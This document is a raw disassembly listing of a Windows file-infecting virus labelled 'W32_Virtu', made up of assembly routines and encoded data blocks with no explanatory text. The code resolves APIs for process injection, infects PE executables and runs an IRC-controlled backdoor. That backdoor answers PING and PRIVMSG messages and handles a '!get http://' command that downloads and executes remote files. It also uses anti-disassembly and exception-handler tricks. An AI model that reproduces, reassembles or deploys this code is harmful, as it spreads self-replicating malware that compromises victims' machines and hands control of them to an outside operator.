		dd 128B900h, 2B970000h,	240C89E1h, 95FF5754h, 402473h
		dd 0A583F633h, 4024F7h,	0FF575400h, 40247795h, 74C08500h
		dd 0FE83465Ch, 0FFEE7204h, 6A082474h, 0FF2A6A00h, 40246F95h
		dd 74C08500h, 0E4E893DCh, 33000003h, 30E391C9h,	24F78539h
		dd 28750040h, 0C3EC181h, 54500000h, 50515650h, 95FF5350h
		dd 402433h, 7459C085h, 2474FF0Fh, 0F7858F08h, 0E8004024h
		dd 0FFFFFE09h, 795FF53h, 0EB004024h, 28C48198h,	57000001h
		dd 240795FFh, 91E90040h, 90FFFFFCh, 585858h, 1839h, 0BF4h
		dd 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_40A68C	proc near		; CODE XREF: sub_40A2D7+B1p
					; sub_40A2D7+1C9p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+402413h]
		stosd
		pop	ecx


loc_40A697:				; CODE XREF: sub_40A68C+Ej
		lodsb
		test	al, al
		jnz	short loc_40A697
		loop	sub_40A68C
		retn
sub_40A68C	endp

; ---------------------------------------------------------------------------
aW32_virtu	db 'W32_Virtu',0
aLstrlen	db 'lstrlen',0
aCreatefilea	db 'CreateFileA',0
aCreatefilemapp	db 'CreateFileMappingA',0
aCreateprocessa	db 'CreateProcessA',0
aCreateremoteth	db 'CreateRemoteThread',0
aCreatethread	db 'CreateThread',0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0
aExitthread	db 'ExitThread',0
aGetfileattribu	db 'GetFileAttributesA',0
aGetfilesize	db 'GetFileSize',0
aGetfiletime	db 'GetFileTime',0
aGetmodulehandl	db 'GetModuleHandleA',0
aGettempfilenam	db 'GetTempFileNameA',0
aGettemppatha	db 'GetTempPathA',0
aGetversion	db 'GetVersion',0
aGetversionexa	db 'GetVersionExA',0
aLoadlibrarya	db 'LoadLibraryA',0
aMapviewoffile	db 'MapViewOfFile',0
aOpenfilemappin	db 'OpenFileMappingA',0
aOpenprocess	db 'OpenProcess',0
aProcess32first	db 'Process32First',0
aProcess32next	db 'Process32Next',0
aSetfileattribu	db 'SetFileAttributesA',0
aSetfiletime	db 'SetFileTime',0
aSleep		db 'Sleep',0
aUnmapviewoffil	db 'UnmapViewOfFile',0
aVirtualalloc	db 'VirtualAlloc',0
aWritefile	db 'WriteFile',0
aNtadjustprivil	db 'NtAdjustPrivilegesToken',0
aNtcreatefile	db 'NtCreateFile',0
aNtcreateproces	db 'NtCreateProcess',0
aNtcreateproc_0	db 'NtCreateProcessEx',0
aNtmapviewofsec	db 'NtMapViewOfSection',0
aNtopenprocesst	db 'NtOpenProcessToken',0
aNtprotectvirtu	db 'NtProtectVirtualMemory',0
aNtwritevirtual	db 'NtWriteVirtualMemory',0
aRtlunicodestri	db 'RtlUnicodeStringToAnsiString',0
aWsastartup	db 'WSAStartup',0
aClosesocket	db 'closesocket',0
aConnect	db 'connect',0
aGethostbyname	db 'gethostbyname',0
aRecv		db 'recv',0
aSend		db 'send',0
aSocket		db 'socket',0
aInternetcloseh	db 'InternetCloseHandle',0
aInternetgetcon	db 'InternetGetConnectedState',0
aInternetopena	db 'InternetOpenA',0
aInternetopenur	db 'InternetOpenUrlA',0
aInternetreadfi	db 'InternetReadFile',0
aAdvapi32_dll	db 'ADVAPI32.DLL',0
aRegclosekey	db 'RegCloseKey',0
aRegopenkeyexa	db 'RegOpenKeyExA',0
aRegqueryvaluee	db 'RegQueryValueExA',0
aRegsetvalueexa	db 'RegSetValueExA',0

; =============== S U B	R O U T	I N E =======================================



sub_40A9D0	proc near		; CODE XREF: seg002:0040AA73p
					; seg002:0040AA84p ...

var_6		= byte ptr -6

		sub	ecx, 5
		sub	ecx, eax
		push	ecx
		push	0E8000000h
		lea	ecx, [esp+3]
		push	0
		push	5
		push	ecx
		push	eax
		push	ebx
		push	5
		mov	ecx, esp
		push	eax
		mov	edx, esp
		push	eax
		push	esp
		push	40h
		push	ecx
		push	edx
		push	ebx
		call	dword ptr [ebp+4024ABh]
		add	esp, 0Ch
		call	dword ptr ss:loc_4024AF[ebp]
		add	esp, 8
		retn
sub_40A9D0	endp

; ---------------------------------------------------------------------------
		push	edi
		lea	eax, [ebp+40149Fh]
		xor	edi, edi
		push	eax
		push	0
		push	6
		call	dword ptr [ebp+40246Bh]
		test	eax, eax
		jz	short loc_40AA9E
		push	eax
		push	5839h
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	4
		push	100000h
		push	2
		push	edx
		push	0
		push	5839h
		push	0
		push	ecx
		push	ebx
		push	eax
		call	dword ptr ss:loc_4024A3[ebp]
		pop	edi
		pop	ecx
		call	dword ptr [ebp+402407h]
		test	edi, edi
		jz	short loc_40AA9E
		mov	ecx, dword ptr ss:loc_401488[ebp]
		jecxz	short loc_40AA67
		lea	edx, sub_401000[ebp]
		add	edx, ecx
		push	edi
		push	ebx
		call	edx


loc_40AA67:				; CODE XREF: seg002:0040AA59j
		mov	eax, dword ptr ss:loc_402497[ebp]
		lea	ecx, [edi+1379h]
		call	sub_40A9D0
		mov	eax, dword ptr ss:loc_40249B[ebp]
		lea	ecx, [edi+13C6h]
		call	sub_40A9D0
		mov	eax, [ebp+40249Fh]
		test	eax, eax
		jz	short loc_40AA9E
		lea	ecx, [edi+13D3h]
		call	sub_40A9D0


loc_40AA9E:				; CODE XREF: seg002:0040AA1Dj
					; seg002:0040AA51j ...
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 4018A8h
		xor	ecx, ecx
		lea	eax, loc_401C3E[ebp]
		push	ecx
		push	esp
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr [ebp+402437h]
		xchg	eax, [esp]
		call	dword ptr [ebp+402407h]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 55h,	0E8h, 0
		dd 5D000000h, 18D7ED81h, 0FF6A0040h, 18A2958Dh,	52500040h
		dd 2420CDh, 0C483002Ah,	85C7660Ch, 4018E8h, 85C720CDh
		dd 4018EAh, 2A0024h, 16AC35Dh, 33FF016Ah, 0FF0473FFh, 74C08515h
		dd 0B68F0h, 0D08B0000h,	3C50035Bh, 1906B58Dh, 0BA8B0040h
		dd 10Ch, 1088A8Bh, 0F8030000h, 8B60CB2Bh, 61A6F3CBh, 0E2470574h
		dd 83C2EBF5h, 8B570FC7h, 0CC8B53D4h, 406A5450h,	0FF6A5251h
		dd 24AB95FFh, 0C4830040h, 3F958B0Ch, 2B004024h,	7EA83D7h
		dd 6A07C7h, 578900E8h, 9569C303h, 402501h, 8088405h, 0B042C033h
		dd 195891Ah, 0F7004025h, 61428DE2h, 75C9FEAAh, 0E855C3E1h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 401998h
		mov	ebx, dword ptr ss:loc_402505[ebp]
		cmp	dword ptr [esp+8], 0
		jz	loc_40AC69
		sub	esp, 208h
		push	esp
		push	104h
		call	dword ptr [ebp+402457h]
		mov	edi, esp
		lea	eax, [esp+104h]
		push	eax
		push	0
		call	near ptr loc_40ABD6+1
		push	esi
		push	edx
		push	esp


loc_40ABD6:				; CODE XREF: seg002:0040ABCEp
		add	[edi-1], dl
		xchg	eax, ebp
		push	ebx
		and	al, 40h
		add	[ebx], dh
		leave
		lea	edx, [edi+104h]
		push	ecx
		push	ecx
		push	2
		push	ecx
		push	1
		push	40000000h
		push	edx
		call	dword ptr ss:loc_402427[ebp]
		xchg	eax, esi
		test	esi, esi
		jz	short loc_40AC59


loc_40ABFE:				; CODE XREF: seg002:0040AC2Cj
		push	eax
		push	esp
		push	104h
		push	edi
		push	dword ptr [esp+220h]
		call	dword ptr ss:loc_4024E3[ebp]
		pop	ecx
		test	eax, eax
		jz	short loc_40AC2E
		jecxz	short loc_40AC2E
		push	eax
		mov	edx, esp
		push	0
		push	edx
		push	ecx
		push	edi
		push	esi
		call	dword ptr ss:loc_40248F[ebp]
		pop	ecx
		test	eax, eax
		jnz	short loc_40ABFE


loc_40AC2E:				; CODE XREF: seg002:0040AC16j
					; seg002:0040AC18j
		push	esi
		call	dword ptr [ebp+402407h]
		lea	edx, [edi+44h]
		push	edx
		push	edi
		push	44h
		pop	eax
		lea	edx, [edi+104h]
		stosd
		xor	eax, eax
		push	10h
		pop	ecx
		rep stosd
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	edx
		call	dword ptr [ebp+40242Fh]


loc_40AC59:				; CODE XREF: seg002:0040ABFCj
		add	esp, 208h
		push	dword ptr [esp+8]
		call	dword ptr [ebp+4024D3h]


loc_40AC69:				; CODE XREF: seg002:0040ABAAj
		push	ebx
		call	dword ptr [ebp+4024D3h]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		cmp	byte ptr [esi],	0Ah
		jnz	short loc_40AC7A
		inc	esi


loc_40AC7A:				; CODE XREF: seg002:0040AC77j
		mov	ecx, dword ptr ss:loc_401484[ebp]
		jecxz	short loc_40AC9B
		lea	edx, sub_401000[ebp]
		add	edx, ecx
		push	esi
		call	edx
		test	al, al
		js	loc_40ADB4
		jz	loc_40ADAB


loc_40AC9B:				; CODE XREF: seg002:0040AC80j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_40ACB0


loc_40ACA0:				; CODE XREF: seg002:0040ACADj
		inc	esi
		cmp	byte ptr [esi],	0
		jz	loc_40ADAB
		cmp	byte ptr [esi],	20h
		jnz	short loc_40ACA0
		inc	esi


loc_40ACB0:				; CODE XREF: seg002:0040AC9Ej
		cmp	dword ptr [esi], 474E4950h
		jnz	short loc_40ACFA
		mov	ecx, edi
		mov	byte ptr [esi+1], 4Fh
		sub	ecx, esi
		push	ecx
		push	0
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+4024CBh]
		pop	ecx
		cmp	eax, ecx
		jnz	loc_40ADB4
		lea	eax, loc_401C32[ebp]
		push	0
		push	0Ch
		push	eax
		push	ebx
		call	dword ptr [ebp+4024CBh]
		cmp	eax, 0Ch
		jnz	loc_40ADB4
		jmp	loc_40ADAB
; ---------------------------------------------------------------------------


loc_40ACFA:				; CODE XREF: seg002:0040ACB6j
		cmp	dword ptr [esi], 56495250h
		jnz	loc_40ADAB
		add	esi, 8


loc_40AD09:				; CODE XREF: seg002:0040AD14j
		lodsb
		cmp	al, 0Dh
		jz	loc_40ADAB
		cmp	al, 20h
		jnz	short loc_40AD09
		lodsb
		cmp	al, 3Ah
		jnz	loc_40ADAB
		lodsd
		or	eax, 20202020h
		cmp	eax, 74656721h
		jnz	short loc_40ADAB
		lodsb
		cmp	al, 20h
		jnz	short loc_40ADAD
		cmp	dword ptr [esi-1], 74746820h
		jnz	short loc_40ADAB
		cmp	dword ptr [esi+3], 2F2F3A70h
		jnz	short loc_40ADAB
		mov	byte ptr [edi-1], 0
		rdtsc
		mov	edx, 2710h
		mul	edx
		push	edx
		call	dword ptr ss:loc_402483[ebp]
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	near ptr loc_40AD69+2
		inc	esp
		outsd
		ja	short loc_40ADD4
		insb
		outsd
		popa


loc_40AD69:				; CODE XREF: seg002:0040AD5Dp
		db	64h
		add	bh, bh
		xchg	eax, ebp
; ---------------------------------------------------------------------------
		dd offset loc_4024DA+1
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_40ADAB
		xor	ecx, ecx
		mov	dword ptr ss:loc_402505[ebp], eax
		push	ecx
		push	80000200h
		push	ecx
		push	ecx
		push	esi
		push	eax
		call	dword ptr [ebp+4024DFh]
		lea	edx, [ebp+401992h]
		push	eax
		xor	ecx, ecx
		push	esp
		push	ecx
		push	eax
		push	edx
		push	ecx
		push	ecx
		call	dword ptr [ebp+402437h]
		xchg	eax, [esp]
		call	dword ptr [ebp+402407h]


loc_40ADAB:				; CODE XREF: seg002:0040AC95j
					; seg002:0040ACA4j ...
		clc
		retn
; ---------------------------------------------------------------------------


loc_40ADAD:				; CODE XREF: seg002:0040AD2Fj
		or	byte ptr [ebp+401477h],	1


loc_40ADB4:				; CODE XREF: seg002:0040AC8Fj
					; seg002:0040ACCFj ...
		stc
		retn
; ---------------------------------------------------------------------------
		dw 4F53h
		dd 41575446h, 4D5C4552h, 6F726369h, 74666F73h, 6E69575Ch
		dd 73776F64h, 7275435Ch
; ---------------------------------------------------------------------------


loc_40ADD4:				; CODE XREF: seg002:0040AD64j
		jb	short near ptr loc_40AE3A+1
		outsb
		jz	short loc_40AE2F
		db	65h
		jb	short near ptr loc_40AE4B+4
		imul	ebp, [edi+6Eh],	7078455Ch
		insb
		outsd
		jb	short near ptr loc_40AE4B+1
		jb	short $+2
		push	ebp
		outsb
		imul	esi, [ecx+75h],	736F4865h
		jz	short $+2
		add	al, [eax]
		push	eax
		jg	short $+2
		add	[ecx], al
		jo	short loc_40AE70
		outsd
		js	short near ptr loc_40AE69+1
		insd
		popa
		imul	esi, cs:[edx+63h], 616C6167h
		js	short near ptr loc_40AE85+1
		db	2Eh
		jo	short loc_40AE7C
		add	[esi+49h], cl
		inc	ebx
		dec	ebx
		and	[ebx+6Bh], ch
		jns	short near ptr loc_40AE7F+1
		jno	short loc_40AE8C
		jno	short near ptr loc_40AE85+2
		or	dl, [ebp+53h]
		inc	ebp
		push	edx
		and	[ecx+30h], ch
		xor	dh, [eax]
		xor	eax, 2E203130h
		and	[esi], ch


loc_40AE2F:				; CODE XREF: seg002:0040ADD7j
		and	[edx], bh
		pop	edi
		dec	edx
		dec	edi
		dec	ecx
		dec	esi
		and	[esi], ah
		jbe	short near ptr loc_40AEA2+1


loc_40AE3A:				; CODE XREF: seg002:loc_40ADD4j
		jb	short near ptr loc_40AEAF+1
		jnz	short near ptr loc_40AE45+3
		push	ebp
		call	$+5
		pop	ebp


loc_40AE45:				; CODE XREF: seg002:0040AE3Cj
		sub	ebp, offset loc_401C44


loc_40AE4B:				; CODE XREF: seg002:0040ADE5j
					; seg002:0040ADD9j
		mov	byte ptr [ebp+401477h],	0
		call	dword ptr [ebp+40245Bh]
		shr	eax, 1Fh
		jz	short loc_40AE99
		push	1Eh
		mov	esi, [ebp+40241Bh]
		pop	ecx


loc_40AE66:				; CODE XREF: seg002:loc_40AE95j
		lodsb
		cmp	al, 2Eh


loc_40AE69:				; CODE XREF: seg002:0040ADFFj
		jnz	short loc_40AE95
		cmp	word ptr [esi],	1DFFh


loc_40AE70:				; CODE XREF: seg002:0040ADFCj
		jnz	short loc_40AE95
		lea	edi, [ebp+4024FBh]
		mov	esi, [esi+2]
		push	edi


loc_40AE7C:				; CODE XREF: seg002:0040AE0Dj
		movsd
		movsw


loc_40AE7F:				; CODE XREF: seg002:0040AE18j
		lea	eax, [ebp+40234Fh]


loc_40AE85:				; CODE XREF: seg002:0040AE0Bj
					; seg002:0040AE1Cj
		pop	dword ptr [ebp+402375h]
		cli


loc_40AE8C:				; CODE XREF: seg002:0040AE1Aj
		mov	[esi-6], eax
		mov	word ptr [esi-2], cs
		sti
		mov	cl, 1


loc_40AE95:				; CODE XREF: seg002:loc_40AE69j
					; seg002:loc_40AE70j
		loop	loc_40AE66
		jmp	short loc_40AEDC
; ---------------------------------------------------------------------------


loc_40AE99:				; CODE XREF: seg002:0040AE5Bj
		lea	eax, [ebp+40149Fh]
		push	eax
		push	0


loc_40AEA2:				; CODE XREF: seg002:0040AE38j
		push	6
		call	dword ptr [ebp+40246Bh]
		cmp	dword ptr [esp+8], 4


loc_40AEAF:				; CODE XREF: seg002:loc_40AE3Aj
		jnz	short loc_40AEDC
		call	near ptr loc_40AEB9+1
		push	ebx
		inc	esi
		inc	ebx


loc_40AEB9:				; CODE XREF: seg002:0040AEB1p
		add	bh, bh
		xchg	eax, ebp
		dec	edi
		and	al, 40h
		add	al, ch
		dec	esp
		cld
; ---------------------------------------------------------------------------
		db 0FFh
		dd 7E8FFh, 46530000h, 534F5F43h, 4F95FF00h, 0E8004024h
		dd 0FFFFFC35h
; ---------------------------------------------------------------------------


loc_40AEDC:				; CODE XREF: seg002:0040AE97j
					; seg002:loc_40AEAFj
		call	sub_40A32A
		dec	dword ptr ss:loc_401262[ebp]
		call	near ptr loc_40AEF6+1
		push	ebp
		push	ebx
		inc	ebp
		push	edx
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_40AEF6:				; CODE XREF: seg002:0040AEE7p
		add	bh, bh
		xchg	eax, ebp
		arpl	[eax+eax*2], sp
		add	al, ch
		or	al, [eax]
; ---------------------------------------------------------------------------
		dd 73770000h, 6E697270h, 416674h, 1395FF50h, 89004024h
		dd 40241F85h, 8D310F00h, 4017898Dh, 1858900h, 51004025h
		dd 246395FFh, 68930040h, 4, 1796B58Dh, 8D590040h, 4024E7BDh
		dd 0F746E800h, 0C766FFFFh, 401BF685h, 83F0FF00h, 401BF8A5h
		dd 958D0000h, 401BB6h, 16A5450h, 6852006Ah, 80000002h
		dd 24EB95FFh, 0C0850040h, 8D22755Ah, 401BE98Dh,	66A5200h
		dd 1BF6B58Dh, 56540040h, 52515050h, 24EF95FFh, 0FF580040h
		dd 4024E795h, 885C600h,	4027h, 0CE8h, 4F535700h, 32334B43h
		dd 4C4C442Eh, 6395FF00h, 93004024h, 768h, 0EDB58D00h, 59004016h
		dd 24B7BD8Dh, 0C1E80040h, 0E8FFFFF6h, 0Ch, 494E4957h, 2E54454Eh
		dd 4C4C44h, 246395FFh, 0C0850040h, 1E7840Fh, 68930000h
		dd 5, 172BB58Dh, 8D590040h, 4024D3BDh, 0F68AE800h, 0BD83FFFFh
		dd 4024D7h, 0C2840F00h,	81000001h, 190ECh, 1685400h, 0FF000001h
		dd 4024B795h, 90C48100h, 50000001h, 6AD48Bh, 0D795FF52h
		dd 85004024h, 0D7559C0h, 138868h, 8395FF00h, 0EB004024h
		dd 0F8BD83E2h, 401Bh, 858D2975h, 401BFCh, 0C395FF50h, 85004024h
		dd 3B840FC0h, 8B000001h, 8B0C40h, 858F30FFh, 401BF8h, 270885C6h
		dd 6A010040h, 6A016A00h, 0CF95FF02h, 83004024h,	840FFFF8h
		dd 112h, 0F4958D93h, 6A00401Bh,	0FF535210h, 4024BF95h
		dd 0FC08500h, 0F285h, 16BD8D00h, 0B100401Ch, 0FAC0E808h
		dd 9468FFFFh, 5E000000h, 3489E62Bh, 95FF5424h, 40245Fh
		dd 1C24BD8Dh, 1B10040h,	0FFFAA1E8h, 24448BFFh, 8E0C110h
		dd 424440Bh, 0B08E0C1h,	50082444h, 5E8h, 362E2500h, 0FF570078h
		dd 40241F95h, 0CC48300h, 200647C6h, 1C11958Dh, 6A0040h
		dd 2168h, 0FF535200h, 4024CB95h, 247C8D00h, 95FF5714h
		dd 402423h, 0A3804C6h, 50006A40h, 95FF5357h, 4024CBh, 0BD8DE603h
		dd 401C32h, 0C68006Ah, 57000000h, 0CB95FF53h, 3D004024h
		dd 0Ch,	0B58D4D75h, 402509h, 27088D8Dh,	0CE2B0040h, 5651006Ah
		dd 0C795FF53h, 83004024h, 2F7E00F8h, 8DFE8B91h,	402509B5h
		dd 0F20DB000h, 601075AEh, 0FFFAF7E8h, 177261FFh, 778D09E3h
		dd 8BEAEB01h, 8DCE2BCFh, 402509BDh, 87A4F300h, 53B9EBF7h
		dd 24BB95FFh, 0BD800040h, 401477h, 682A7401h, 7530h, 248395FFh
		dd 0BD800040h, 402708h,	0C7117400h, 401BF885h, 0
		dd 885C600h, 4027h, 0FFFE56E9h,	8085C7FFh, 4014h, 5D800000h
		dd 8D0004C2h, 402709B5h, 95FF5600h, 402443h, 0FFFF883h
		dd 0BB84h, 0D858900h, 6A004028h, 95FF5600h, 40247Bh, 840FC085h
		dd 0A4h, 5050C02Bh, 6A50036Ah, 6801h, 0FF56C000h, 40242795h
		dd 0FFF88300h, 2E4840Fh, 85890000h, 402811h, 28158D8Dh
		dd 958D0040h, 40281Dh, 6A5251h,	4B95FF50h, 83004024h, 840FFFF8h
		dd 2B2h, 0B5FF006Ah, 402811h, 244795FFh, 0F8830040h, 9B840FFFh
		dd 89000002h, 40282585h, 3C93300h, 515051C3h, 0FF51046Ah
		dd 402811B5h, 2B95FF00h, 85004024h, 77840FC0h, 33000002h
		dd 298589C9h, 51004028h, 1F685151h, 50000F00h, 246795FFh
		dd 0C0850040h, 230840Fh, 85890000h, 40282Dh, 384B8BC3h
		dd 5838B8h, 3D23300h, 0F7F1F7C1h, 358589E1h, 8B004028h
		dd 6B83C4Bh, 33000014h,	0F7C103D2h, 89E1F7F1h, 40283185h
		dd 0B70FC300h, 0E3F9064Bh, 18538D36h, 1443B70Fh, 6B49D003h
		dd 0D00328C1h, 775F3A81h, 74F96E69h, 7A83491Eh,	0DF72010Ch
		dd 8B3C4B8Bh, 42031442h, 48448D10h, 23D9F7FFh, 25853BC1h
		dd 0C3004028h, 24448B59h, 0B888890Ch, 33000000h, 0CF8BC3C0h
		dd 0BD8D0BEBh, 402709h,	33DF8BFCh, 613CACC9h, 7A3C0672h
		dd 202C0277h, 745C3CAAh, 742E3CECh, 75003CDDh, 8BC8E3E8h
		dd 58453D01h, 0B740045h, 5243533Dh, 49850F00h, 8BFFFFFFh
		dd 49573D03h, 840F434Eh, 0FFFFFF3Ch, 5543573Dh,	31840F4Eh
		dd 3DFFFFFFh, 32334357h, 0FF26840Fh, 503DFFFFh,	0F4F5453h
		dd 0FFFF1B84h, 0E8DB33FFh, 0FFFFFE43h, 0FF0E840Fh, 0D233FFFFh
		dd 16E8h, 0FF6EE800h, 0E8FFFFh,	5D000000h, 21B3ED81h, 0F9E90040h
		dd 64000000h, 0B58B32FFh, 40282Dh, 66228964h, 5A4D3E81h
		dd 0E2850Fh, 5E8B0000h,	66DE033Ch, 45503B81h, 0D2850Fh
		dd 43F70000h, 200016h, 0C5850F00h, 0F6000000h, 0F025C43h
		dd 0BB84h, 207E8100h, 20202020h, 0AE840Fh, 0CFE80000h
		dd 0FFFFFFEh, 0A382h, 0FE97E800h, 0A2E8FFFFh, 8B000000h
		dd 4028319Dh, 0FDB5E800h, 840FFFFFh, 88h, 282DB58Bh, 5E8B0040h
		dd 0E8DE033Ch, 0FFFFFE9Eh, 4A817672h, 6024h, 56FE8BE0h
		dd 8D147A03h, 401000B5h, 107A0300h, 501B9h, 0A5F35700h
		dd 2E303B1h, 5E5FA4F3h,	92310F52h, 155878Dh, 50880000h
		dd 0EECBE8FFh, 8B5AFFFFh, 4A030C4Ah, 5418D10h, 8928432Bh
		dd 46C71247h, 20202020h, 284B8920h, 8B104A8Bh, 40283185h
		dd 84A3900h, 4A890373h,	10420108h, 586383h, 2835858Bh
		dd 42010040h, 50430108h, 8B64D233h, 28F6422h, 11BD8358h
		dd 4028h, 0FDE2840Fh, 0B5FFFFFFh, 40282Dh, 248795FFh, 0B5FF0040h
		dd 402829h, 240795FFh, 8D8D0040h, 402815h, 281D958Dh, 52510040h
		dd 0B5FF006Ah, 402811h,	247F95FFh, 0B5FF0040h, 402811h
		dd 240795FFh, 0B58D0040h, 402709h, 280DB5FFh, 0FF560040h
		dd 40247B95h, 11A58300h, 4028h,	0E8C3h,	6A5D0000h, 2EED8101h
		dd 58004023h, 85C10FF0h, 401480h, 83C3C085h, 0FF0FFC8h
		dd 148085C1h, 3DC30040h, 2A0010h, 81661C75h, 6C0C247Ch
		dd 60137571h, 0FFFFC4E8h, 0E80575FFh, 0FFFFFDC2h, 0FFFFD2E8h
		dd 0FF2E61FFh, 3456782Dh, 0AAE86012h, 75FFFFFFh, 24448B39h
		dd 9B58D30h, 8B004027h,	81660850h, 7302063Ah, 685625h
		dd 8B00FF00h, 52006AC4h, 0B395FF50h, 83004024h,	3E8108C4h
		dd 5C3F3F5Ch, 0C6830375h, 0FD74E804h, 84E8FFFFh, 61FFFFFFh
		dd 25B8h, 2FB8C300h, 0E8000000h, 10h, 0B80020C2h, 30h
		dd 3E8h, 24C200h, 0C24548Dh, 0F8832ECDh, 60197C00h, 0E8h
		dd 24548B00h, 1A8B5D30h, 23F1ED81h, 4E80040h, 61FFFFF4h
		dd 470004C2h, 0AD7C809Bh, 317C8308h, 0A07C9103h, 7C80ADh
		dd 2 dup(0)
		dd 0B6000000h, 247C80BDh, 5C7C801Ah, 677C8094h,	2C7C8023h
		dd 377C8104h, 0F7C8106h, 587C864Bh, 3C7C80C0h, 777C8115h
		dd 457C810Ah, 0A17C831Ch, 0FF7C80B6h, 0CA7C8608h, 0DA7C835Dh
		dd 0DE7C8111h, 777C812Ah, 57C801Dh, 767C80B9h, 0E17C80BBh
		dd 0E57C8309h, 587C863Dh, 827C863Fh, 0B87C8127h, 427C831Ch
		dd 747C8024h, 517C80B9h, 877C809Ah, 607C810Dh, 827C90D4h
		dd 547C90D6h, 697C90D7h, 557C90D7h, 907C90DCh, 0B67C90DDh
		dd 327C90DEh, 0C67C90EAh, 7C9130h, 52h dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_40B800	proc near		; CODE XREF: seg002:0040B83Bp
		pusha
		push	ebp
		mov	ebp, esp
		call	loc_40B81C
		call	sub_40B880
		mov	ebp, fs:0
		lea	ebp, [ebp+8]
		jmp	near ptr loc_40B840+1
sub_40B800	endp

; ---------------------------------------------------------------------------


loc_40B81C:				; CODE XREF: sub_40B800+4p
		push	dword ptr fs:0
		mov	fs:0, esp
		xor	edx, edx
		push	edx
		push	2000h
		push	edx
		push	80000000h
		push	edx
		push	edx
		push	edx
		push	edx
		push	edx
		call	sub_40B800


loc_40B840:				; CODE XREF: sub_40B800+17j
		add	al, ch
; ---------------------------------------------------------------------------
		dw 0
		dd 81590000h, 0FFFFB9E9h, 243CBEFFh, 0E7830000h, 82C78100h
		dd 51000000h, 31660186h, 410188F8h, 0FE834E47h,	59F17700h
		dd 268B6467h, 67640000h, 68Fh, 244C89C9h, 0E1FF6118h

; =============== S U B	R O U T	I N E =======================================



sub_40B880	proc near		; CODE XREF: sub_40B800+9p

arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [ecx+0B8h]
		retn
sub_40B880	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 12h,	6Bh, 84h
		dd 3878685h, 0C7CAE8Dh,	908FAAA6h, 14939291h, 0B13B0E1Ch
		dd 0C0109A99h, 8DEB9AB9h, 142AFB5Dh, 0A8A78F15h, 851F1220h
		dd 82FAEADh, 0B4B3969Eh, 0BBBAC35Dh, 0BC9F8A21h, 0C2E435BDh
		dd 0CC28F13Eh, 0ECF65E4Eh, 0FF34CAC9h, 515A9B96h, 0D1D7F6BDh
		dd 59D7D6D5h, 232BDA3Ah, 0E6325F22h, 6FE3A2F1h,	65E3C299h
		dd 0ACDFD65Ch, 0F0EF57EDh, 5000F2F1h, 0ACB98D74h, 89889391h
		dd 3CBC75F0h, 621B068Ch, 4D573E84h, 0E78A027Dh,	100F0F0Dh
		dd 4498F064h, 93C4156Dh, 56903A6Bh, 71EC1D05h, 0A5E0218Ch
		dd 6F27D95Dh, 375E5E4Ch, 602C56ACh, 41505D43h, 3F4FB727h
		dd 4E5F5E78h, 38BE3748h, 3730274Ah, 0AA423245h,	8F16139Eh
		dd 0DB6B4264h, 570A7623h, 5CE059A6h, 4021D117h,	54D4A55Eh
		dd 8C9061E6h, 68676669h, 1F04062Ah, 1E0E2608h, 74161E15h
		dd 0F1A18926h, 3C4E46FCh, 8072967Dh, 0F6C08281h, 0EDF3E7E0h
		dd 0E2EEFCCCh, 0C38FCFF9h, 111A446Eh, 98D7A3D5h, 9C9B9771h
		dd 0D4FAD99Dh, 0D0D0C3EDh, 0C7D5D4E0h, 53F8AADBh, 0F42A277Bh
		dd 5CB3F284h, 0B8B7B6C5h, 9DCF7A3Ch, 842A41EDh,	41C382F4h
		dd 45D7B305h, 8CDA184Ch, 2F9F44CDh, 0D4D3BC39h,	27AB3DD5h
		dd 9CEEE64Ch, 0D15A29DDh, 0E4E3A2D5h, 9C67E6E5h, 0D95E67F7h
		dd 7BEFAED9h, 50F7D68Dh, 4A6A7D50h, 77FBBAC0h, 40C64848h
		dd 0BEBE8901h, 5507463Ch, 0C6150CAh, 10650E67h,	157B127Bh
		dd 93171215h, 4C1B70DDh, 0E4941277h, 7075C0DEh,	2827157Ah
		dd 0F6C3E31Ah, 0BDD0D1D2h, 742293A4h, 69666435h, 7CAEC569h
		dd 0C33F7E08h, 0CE806285h, 6A18FFB7h, 5C7B4A49h, 0B2994C0Dh
		dd 0DB5F91A8h, 2472F2E8h, 95B80E11h, 0FC8FCFA1h, 200655C9h
		dd 9497C2A8h, 747AFBEAh, 0E50C2A15h, 0D8420773h, 0FDB95762h
		dd 42A8AEF1h, 0E609254h, 0CB21766Bh, 0CD8977DCh, 0CEC91E41h
		dd 4FDA8C62h, 9993266Ah, 91EF0704h, 4576CE91h, 3C4F0F5Eh
		dd 0D5EEDF3Ah, 54177725h, 0DE63A010h, 0B3FFEA96h, 0DA75326h
		dd 0ECC6126Dh, 84DF616Eh, 57AFBA45h, 0C8E9E2AEh, 0B4DF619Eh
		dd 0E9635E51h, 4C2A5AF0h, 0B11D4E39h, 0E48DF2CDh, 85731B6Eh
		dd 0BCCA5AE5h, 0D6D2D246h, 9980FDC2h, 80DBFE54h, 155021D5h
		dd 78738CEDh, 5447BFECh, 85962E71h, 1CAFE886h, 0AABC93DAh
		dd 0FF578EDEh, 93A3F47Dh, 59529375h, 1853FCC4h,	0D8AC99FEh
		dd 8E6B19D8h, 0D4D88622h, 0E8E2968Ah, 0E1875702h, 0C4883E61h
		dd 63BFEF35h, 474DE4DDh, 84ED0552h, 0D0B3EF9Bh,	34AF3AC1h
